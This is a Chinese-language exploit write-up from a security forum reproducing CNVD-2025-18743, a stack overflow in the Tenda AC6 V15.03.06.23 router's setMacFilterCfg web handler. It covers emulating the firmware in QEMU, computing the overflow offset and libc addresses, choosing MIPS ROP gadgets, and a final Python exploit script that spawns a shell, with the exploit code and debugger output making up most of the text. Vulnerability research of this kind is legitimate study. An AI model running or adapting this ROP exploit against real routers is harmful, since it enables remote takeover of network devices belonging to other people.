CNVD-2025-18743-Tenda-AC6V2.0_V15.03.06.23栈溢出漏洞复现
漏洞分析
本文主要讲解MIPS架构下AC6的栈溢出漏洞利用复现
一、漏洞简介 ------ Tenda AC6是一款无线路由器。 Tenda AC6存在二进制漏洞,攻击者可利用该漏洞导致拒绝服务,除此外,进行深度漏洞利用可以实现命令执行效果 二、影响版本 ------ V2.0\_V15.03.06.23 三、漏洞原理分析 -------- 漏洞点位发生在websFormDefine("setMacFilterCfg", (void (\*)(webs\_t, char\_t \*, char\_t \*))formSetMacFilterCfg);  跟进formSetMacFilterCfg函数,发现web传参macFilterType、deviceList,首先经过set\_macfilter\_mode(mac\_filter\_mode) 函数进行判断  跟进set\_macfilter\_mode函数,发现此处判断传入的mac\_filter\_mode参数是不是white或者black  返回上一层,而后进行error\_code判断,只有mac\_filter\_mode是white或者black的时候,才会经过set\_macfilter\_rules(mac\_filter\_mode, rule\_list)函数  跟进set\_macfilter\_rules函数,发现此处主要有set\_macfilter\_rules\_by\_one函数  所以继续跟进set\_macfilter\_rules\_by\_one函数,发现这里面套了个parse\_macfilter\_rule(source\_rule, &rule\_info)函数,而source\_rule这个参数实际上就是deviceList  持续跟进一下parse\_macfilter\_rule函数,发现strcpy(dest\_rule->name, source\_rule),但是在这之前还有个rule\_tmp = strchr(source\_rule, 13);判断,其实就是“\\r”,也就是说,只有传入的参数包含“\\r”才行  四、环境搭建 ------ 环境搭建并不复杂,本次依然使用用户级模拟启动(file busybox 查看架构为LSB-MIPS架构,这里就不放图了) 首先是模拟一个网卡,因为tenda AC6的网卡名字与其他常见的系列是一样的,所以脚本在网上随便找一个就能用,具体分析的话,由于本文本身就很长了,所以会在后面找一个较短的篇幅的分析一下 ```bash #!/bin/bash #我的宿主机的上网的网卡为ens33,并且存在多个虚拟网卡 sudo ifconfig ens33 down # 首先关闭宿主机网卡接口 sudo brctl addbr br0 # 添加一座名为 br0 的网桥 sudo brctl addif br0 ens33 # 在 br0 中添加一个接口 sudo brctl stp br0 on #打开生成树协议 sudo brctl setfd br0 2 # 设置 br0 的转发延迟 sudo brctl sethello br0 1 # 设置 br0 的 hello 时间 sudo ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口 sudo ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口 sudo dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址 sudo brctl show br0 # 查看虚拟网桥列表 sudo brctl showstp br0 # 查看 br0 的各接口信息 sudo tunctl -t tap0 # 创建一个 tap0 接口 sudo brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口 sudo ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口 sudo ifconfig tap0 192.168.50.12/24 up #为tap0分配ip地址 sudo ifconfig ens33 192.168.50.10/24 up #为tap0分配ip地址 sudo brctl showstp br0 # 显示 br0 的各个接口 ``` 执行完网卡脚本后,解压固件 ```bash binwalk -Me US_AC6V2.0RTL_V15.03.06.51_multi_TDE01.bin ``` 进入到固件解压后的文件夹,移除webroot文件夹,而后重构这个文件夹,不然启动后wen页面是异常的 ```bash rm -rf webroot mkdir webroot cp -rf ./webroot_ro/* ./webroot/ cp $(which qemu-mipsel-static) qemu-mipsel-static sudo chroot ./ ./qemu-mipsel-static ./bin/httpd ``` 这个时候,启动发生异常了  接下来是patch,patch网上也有成熟的教程了,这些估计基本上patch的位置很类似,只不过arm架构的和mips的架构patch的点位略有不同        一套不解释连招,再重新启动,就算是起来了。 对了这里提一句,用户级模拟启动的好处就是,局域网内其他机器也可以访问模拟出来的固件web环境,但是系统级模拟只有这个机器自己能访问web环境  五、漏洞复现 ------ 由于我们上面已经分析了漏洞原因,也看到了传入的接口以及参数,所以直接构造如下poc进行发包测试 测试poc如下 ```php import requests from pwn import * url = "http://192.168.50.18/goform/setMacFilterCfg" cookie = {"Cookie":"password=1111"} payload = cyclic(500) data = {"macFilterType": "white", "deviceList":b"\r" + payload } requests.post(url, cookies=cookie, data=data) requests.post(url, cookies=cookie, data=data) ``` 测试效果如下,出现段错误异常,程序溢出崩溃   ### 偏移量计算 ```php #第一个端 sudo chroot ./ ./qemu-mipsel-static -g 1234 ./bin/httpd #第二个端 gdb-multiarch file ./bin/httpd #需要加载httpd文件,请根据实际情况修改 target remote :1234 c #第三个端 python3 poc.py ```  执行cyclic -l taae 得到476,但是这个476其实是包含了返回地址的4个字符  将poc修改 ```php import requests from pwn import * url = "http://192.168.50.18/goform/setMacFilterCfg" cookie = {"Cookie":"password=1111"} payload = cyclic(476) data = {"macFilterType": "white", "deviceList":b"\r" + payload } requests.post(url, cookies=cookie, data=data) requests.post(url, cookies=cookie, data=data) ``` 重新重复上述步骤  可以看到,PC寄存器此时被覆盖,证实了我们的推测,实际的偏移量为472  ### libc基址计算 还是先在httpd文件里的strcpy断点,直接用当前这个溢出点位strcpy就行  ```php #第一个端 sudo chroot ./ ./qemu-mipsel-static -g 1234 ./bin/httpd #第二个端 gdb-multiarch file ./bin/httpd #需要加载httpd文件,请根据实际情况修改 target remote :1234 b *0x4E6A24 c #第三个端 python3 poc.py ```  记住当前strcpy寄存器的地址为0x3fd62220 而后运行下述代码,查看libc.so.0里面的strcpy相对偏移量 ```php mipsel-linux-gnu-readelf -s ./lib/libc.so.0 | grep strcpy ```  所以可以得到libc基址地址为 ```php libc_base = 0x3fd62220 - 0x0003d220 = 0x3FD25000 ``` ### **system基址计算** 执行下述指令,获取system在libc中的相对偏移量0x00060320 mipsel-linux-gnu-readelf -s ./lib/libc.so.0|grep system  所以system\_base 如下 ```php system_addr = libc_base + 0x00060320 ``` ### **/bin/sh 计算** /bin/sh 我直接按照上述搜索没有搜到,所以我使用ida打开找的地址为 0x6AE30  所以binsh\_base 如下 ```php binsh_addr = libc_base + 0x6AE30 ``` ### gadget1选择  ```php .text:00029B34 loc_29B34: # CODE XREF: wctrans+5C↑j .text:00029B34 lw $ra, 0x18+var_s14($sp) .text:00029B38 lw $s4, 0x18+var_s10($sp) .text:00029B3C lw $s3, 0x18+var_sC($sp) .text:00029B40 lw $s2, 0x18+var_s8($sp) .text:00029B44 lw $s1, 0x18+var_s4($sp) .text:00029B48 lw $s0, 0x18+var_s0($sp) .text:00029B4C jr $ra ``` 所以gadget1地址为 ```php gadget1 = libc_base + 0x29B34 ``` ### gadget2选择 ida 先执行 ```php import mipsrop mipsrop = mipsrop.MIPSROPFinder() ```  这里使用插件直接搜mipsrop.find("move $a0 $s0")  按照顺序选第一个就可以  ```php .text:0000DC1C move $a0, $s0 .text:0000DC20 move $t9, $s1 .text:0000DC24 jalr $t9 # stat64 ``` 所以gadget2地址为 ```php gadget2 = libc_base + 0xDC1C ``` ### ROP链构造 此处我们需要配合gadget1,这里面如果控制$s0、$s1寄存器的话,对应的$s0就是/bin/sh 、 $s1对应的就是system ,这样jalr $t9的话就可以执行system("/bin/sh") gadget1里面.text:00029B34 lw $ra, 0x18+var\_s14($sp) 这里其实就是0x18 + 0x14 = 0x2c,所以gadget1需要给44个偏移量长度 所以需要淹没长度就是 0x18 \* "A" + /bin/sh + system +0x2c - 0x18 -4 -4 所以暂时poc如下,为了区分字符串,更快的发现位置所在,所以把溢出的472个字符串都写成Q,把gadget1的前24个字节拆分成6组不同的字符串 ```php import requests from pwn import * url = "http://192.168.50.18/goform/setMacFilterCfg" cookie = {"Cookie":"password=1111"} libc_base = 0x3fd62220 - 0x0003d220 system_addr = libc_base + 0x00060320 binsh_addr = libc_base + 0x6AE30 gadget1 = libc_base + 0x29B34 gadget2 = libc_base + 0xDC1C data = {"macFilterType": "black", "deviceList":b"\r" + b"Q" * 472 + p32(gadget1)+b"AAAA"+b"BBBB"+b"CCCC"+b"DDDD"+b"EEEE"+b"FFFF"+p32(binsh_addr)+p32(system_addr)+b"A"*12+p32(gadget2)} requests.post(url, cookies=cookie, data=data) requests.post(url, cookies=cookie, data=data) ``` 试运行 ```php #第一个端 sudo chroot ./ ./qemu-mipsel-static -g 1234 ./bin/httpd #第二个端 gdb-multiarch file ./bin/httpd #需要加载httpd文件,请根据实际情况修改 target remote :1234 b *0x4E6A24 #.text:004E6A24 jalr $t9 # strcpy c #第三个端 python3 2.py #返回到第二个端 ni ``` 运行至下述,可以看到问题出现在vararg: 0x41414141 ('AAAA'),正常这里应该是一个地址,但是现在变成一个字符串了 ```php 0x4e5c70 <set_macfilter_rules_by_one+740> jalr $t9 <snprintf> s: 0x407ffe34 ◂— 0x51515151 ('QQQQ') maxlen: 0x80 format: 0x520798 ◂— 'macfilter.%s.list%d' vararg: 0x41414141 ('AAAA') ``` 我们摘掉溢出,重新运行,对比一下  所以需要一个可读地址 ### **read\_base可读地址计算** 随便在libc.so.0找一个  ```php read_base = libc_base + 0x66C9F ``` ### 完整攻击思路 执行脚本,成功反弹shell ```php import requests from pwn import * url = "http://192.168.50.18/goform/setMacFilterCfg" cookie = {"Cookie":"password=1111"} libc_base = 0x3fd62220 - 0x0003d220 system_addr = libc_base + 0x00060320 binsh_addr = libc_base + 0x6AE30 gadget1 = libc_base + 0x29B34 gadget2 = libc_base + 0xDC1C read_base = libc_base + 0x66C9F data = {"macFilterType": "black", "deviceList":b"\r" + b"Q" * 472 + p32(gadget1)+p32(read_base)+b"BBBB"+b"CCCC"+b"DDDD"+b"EEEE"+b"FFFF"+p32(binsh_addr)+p32(system_addr)+b"A"*12+p32(gadget2)} requests.post(url, cookies=cookie, data=data) requests.post(url, cookies=cookie, data=data) ```  重新动态调试,发现没有任何问题  运行至gadget1  S0、S1寄存器已经存储  跳转至gadget2   成功执行/bin/sh指令,此处完美进行漏洞利用 六、修复建议 ------ 暂无 七、总结 ---- 栈溢出挖掘并不难,但是不是每一处栈溢出的点位都能进行漏洞利用,绝大多数栈溢出实际上都没有办法进行漏洞利用,原因有很多,比如:函数没有返回地址、开启了地址保护、前面的函数溢出导致后续异常程序没有办法正确的来到system函数执行等等
发表于 2025-09-18 09:00:02
阅读 ( 91 )
分类:
二进制
0 推荐
收藏
0 条评论
vlan911
3 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!